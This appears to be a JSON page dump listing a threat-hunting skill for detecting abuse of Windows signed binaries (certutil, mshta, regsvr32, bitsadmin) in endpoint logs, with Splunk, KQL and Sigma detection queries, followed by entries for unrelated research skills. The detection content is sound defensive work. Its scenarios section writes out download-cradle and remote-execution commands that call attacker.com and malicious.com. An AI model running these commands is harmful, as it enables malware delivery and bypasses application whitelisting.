[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B6TWR4TZ2MHWACS29JRMVG":3,"skill-same:01M7B6TWR4TZ2MHWACS29JRMVG":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":13,"repositoryHtmlUrl":55,"repositoryHomepageUrl":6,"ownerHtmlUrl":56,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":57,"install":58,"resources":71},"01M7B6TWR4TZ2MHWACS29JRMVG","hunting-for-lolbins-execution-in-endpoint-logs",null,"Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE T1218, by analyzing endpoint process-creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes. Use when reviewing endpoint process telemetry for LOLBins-based defense evasion or building detections for signed-binary proxy execution.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fhunting-for-lolbins-execution-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fhunting-for-lolbins-execution-in-endpoint-logs\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunting-for-lolbins-execution-in-endpoint-logs\ndescription: Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE\n  T1218, by analyzing endpoint process-creation logs for suspicious execution patterns\n  of legitimate Windows system binaries used for malicious purposes. Use when reviewing\n  endpoint process telemetry for LOLBins-based defense evasion or building detections\n  for signed-binary proxy execution.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags:\n- threat-hunting\n- lolbins\n- living-off-the-land\n- endpoint-detection\n- process-monitoring\n- mitre-t1218\n- defense-evasion\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Content Format Conversion\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-07\n- ID.RA-05\nmitre_attack:\n- T1046\n- T1057\n- T1082\n- T1083\n- T1027\n---\n\n# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n","# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n",{"name":5,"tags":24,"author":32,"domain":33,"license":14,"version":34,"nist_csf":35,"subdomain":25,"description":7,"mitre_attack":40,"d3fend_techniques":46},[25,26,27,28,29,30,31],"threat-hunting","lolbins","living-off-the-land","endpoint-detection","process-monitoring","mitre-t1218","defense-evasion","mahipal","cybersecurity","1.0",[36,37,38,39],"DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05",[41,42,43,44,45],"T1046","T1057","T1082","T1083","T1027",[47,48,49,50,51],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format 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Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":142,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]